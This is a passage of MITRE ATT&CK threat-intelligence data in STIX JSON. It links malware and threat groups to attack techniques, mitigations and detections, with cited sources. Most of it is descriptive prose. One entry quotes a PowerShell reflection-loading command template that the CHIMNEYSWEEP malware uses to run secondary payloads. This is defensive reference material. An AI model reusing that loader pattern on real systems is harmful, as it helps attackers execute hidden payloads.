Retrieved October 4, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[FoggyWeb](https://attack.mitre.org/software/S0661)'s loader can enumerate all Common Language Runtimes (CLRs) and running Application Domains in the compromised AD FS server's Microsoft.IdentityServer.ServiceHost.exe process.(Citation: MSTIC FoggyWeb September 2021)","modified":"2022-04-16T01:57:43.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--72911fe3-f085-40f7-b4f2-f25a4221fe44","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d9ee797-4756-4a89-ab19-2ece0c96e533","created":"2023-02-16T16:44:05.909Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks DarkTortilla Aug 2022","description":"Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.","url":"https://www.secureworks.com/research/darktortilla-malware-analysis"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T22:35:09.540Z","description":"[DarkTortilla](https://attack.mitre.org/software/S1066) can search a compromised system's running processes and services to detect Hyper-V, QEMU, Virtual PC, Virtual Box, and VMware, as well as Sandboxie.(Citation: Secureworks DarkTortilla Aug 2022)","relationship_type":"uses","source_ref":"malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6d9f27eb-cc6b-4871-b42a-37640f45f8fa","created":"2024-09-25T20:09:06.396Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:09:06.396Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used [Cobalt Strike](https://attack.mitre.org/software/S0154) to move laterally via SMB.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d9f427b-f016-4100-a30a-c13648536e81","type":"relationship","created":"2020-11-18T21:22:25.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."},{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:03:13.288Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can collect the time on the compromised host.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6da35448-bec3-44cd-8596-2ded87b6fcaa","created":"2024-08-09T17:51:22.771Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:51:22.771Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can invoke the PowerShell command `[Reflection.Assembly]::LoadFile(\\\"%s\\\")\\n$i=\\\"\\\"\\n$r=[%s]::%s(\\\"%s\\\",[ref] $i)\\necho $r,$i\\n` to execute secondary payloads.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6da682e8-f3e0-41ed-95f2-c268c686abd1","created":"2024-03-01T15:35:38.228Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T15:35:38.228Z","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6da713c7-4883-4450-8022-1b0907bbc54d","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor newly constructed files that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6da98663-ac0c-4ba4-b1dc-4b6fc925d5f2","created":"2024-07-02T17:35:25.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T18:11:03.288Z","description":"[LunarMail](https://attack.mitre.org/software/S1142) has used RC4 and AES to encrypt strings and its exfiltration configuration respectively.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--a5789a26-2b7b-4b2d-a25f-31182468d4bb","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6daa0c15-e73b-4b0f-8069-8f89638bf6fd","created":"2023-03-20T19:21:39.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:36:56.253Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors used TCP for some C2 communications.(Citation: FireEye APT29 Nov 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6db133fd-2beb-4c5e-a97c-3d3ef03bee50","type":"relationship","created":"2020-02-11T18:58:46.015Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:58:46.015Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6db4729b-596c-43c1-81f4-d374a2f2e06b","type":"relationship","created":"2019-06-25T14:09:38.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-23T20:13:08.662Z","description":"Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-16T16:40:40.488Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can take screenshots.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dbac0dd-ebd3-49dc-bbef-d5a7fd464e02","type":"relationship","created":"2019-01-30T15:19:14.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/","source_name":"Unit42 Azorult Nov 2018"},{"description":"Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside","source_name":"Proofpoint Azorult July 2018"}],"modified":"2019-07-26T23:22:28.557Z","description":"[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)","relationship_type":"uses","source_ref":"malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dbd64e1-bc8a-44f9-811c-a1ccd32318d1","type":"relationship","created":"2021-09-22T21:17:31.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-10-05T15:03:02.704Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) has communicated with its C2 servers via HTTPS and HTTP POST requests.(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dc0069c-5e6a-474f-946d-cc1cd13bc486","type":"relationship","created":"2019-04-01T21:09:50.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.","url":"https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/","source_name":"ESET OceanLotus Mar 2019"}],"modified":"2019-07-17T13:11:38.717Z","description":"[APT32](https://attack.mitre.org/groups/G0050)'s backdoor has exfiltrated data using the already opened channel with its C&C server.(Citation: ESET OceanLotus Mar 2019)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dc1f5ca-8881-4d06-b192-7bc502ea94ce","type":"relationship","created":"2020-03-29T17:17:31.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-25T15:47:46.274Z","description":"Restrict execution of particularly vulnerable binaries to privileged accounts or groups that need to use it to lessen the opportunities for malicious usage.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--457c7820-d331-465a-915e-42f85500ccc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6dca4adf-499d-4cea-b3df-48566ff6deeb","type":"relationship","created":"2020-11-12T17:12:38.353Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-09T19:12:40.326Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use MSI files to execute DLLs.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6dca82b3-7a95-4fcd-862e-6337eea49306","created":"2022-01-24T16:52:40.703Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022.","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-03T20:01:51.343Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has conducted widespread scanning to identify public-facing systems vulnerable to CVE-2021-44228 in Log4j and ProxyShell vulnerabilities; CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in on-premises MS Exchange Servers; and CVE-2018-13379 in Fortinet FortiOS SSL VPNs.(Citation: Check Point APT35 CharmPower January 2022)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ddbec2b-2a42-476f-919d-da3e4b06a1e2","created":"2023-03-17T14:42:29.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T15:52:52.232Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) exfiltrated data from a compromised host to actor-controlled C2 servers.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ddf2f6b-6174-43fe-ba71-7549dcd321f3","created":"2023-03-21T16:43:43.635Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:59:30.635Z","description":"Monitor for unexpected deletion of a cloud storage objects (ex: AWS `DeleteObject`), especially those associated with cloud backups.","relationship_type":"detects","source_ref":"x-mitre-data-component--4c41e296-b8d2-4a37-b789-eb565c87c00c","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6de0bf91-2034-4821-b231-795aa75db97f","created":"2019-04-17T13:46:38.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cofense Astaroth Sept 2018","description":"Doaty, J., Garrett, P.. (2018, September 10). We’re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved September 25, 2024.","url":"https://web.archive.org/web/20200302071436/https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:03:49.413Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) logs keystrokes from the victim's machine. (Citation: Cofense Astaroth Sept 2018)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6de1ba44-79c0-42d1-ab75-d816904ecee8","type":"relationship","created":"2021-03-25T13:39:14.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Targeting Elections September 2020","url":"https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/","description":"Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."}],"modified":"2021-03-25T13:39:14.826Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has purchased domains for use in targeted campaigns.(Citation: Microsoft Targeting Elections September 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6de233bc-efe2-4dbd-b0a6-994d45f6bc23","type":"relationship","created":"2021-08-18T18:22:07.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA21-200A APT40 July 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-200a","description":"CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021."}],"modified":"2021-08-19T16:54:10.443Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has created new social media accounts for targeting efforts.(Citation: CISA AA21-200A APT40 July 2021)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6de628ac-2f5b-4563-8f54-c5243109221e","created":"2023-09-27T20:18:18.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bugcrowd Replay Attack","description":"Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023.","url":"https://www.bugcrowd.com/glossary/replay-attack/"},{"source_name":"Comparitech Replay Attack","description":"Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023.","url":"https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-30T19:43:23.525Z","description":"Application developers should consider taking measures to validate authentication requests by enabling one-time passwords, providing timestamps or sequence numbers for messages sent, using digital signatures, and/or using random session keys.(Citation: Comparitech Replay Attack)(Citation: Bugcrowd Replay Attack)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6de977db-83b0-474e-9e18-4b8f67eb4ddb","type":"relationship","created":"2021-01-06T16:56:56.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.332Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) collected all network interface MAC addresses that are up and not loopback devices, as well as IP address, DHCP configuration, and domain information.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6deb7ae9-9e35-47cb-8db2-e708ad9543b6","created":"2023-09-14T18:23:03.327Z","revoked":false,"external_references":[{"source_name":"Morphisec Snip3 May 2021","description":"Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.","url":"https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T18:23:03.327Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has the ability to query `Win32_ComputerSystem` for system information. (Citation: Morphisec Snip3 May 2021) ","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6deeb486-90c3-4279-8549-17c81ea2466b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html","description":"Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.","source_name":"Lotus Blossom Jun 2015"}],"modified":"2019-04-17T22:12:24.890Z","description":"[Elise](https://attack.mitre.org/software/S0081) performs timestomping of a CAB file it creates.(Citation: Lotus Blossom Jun 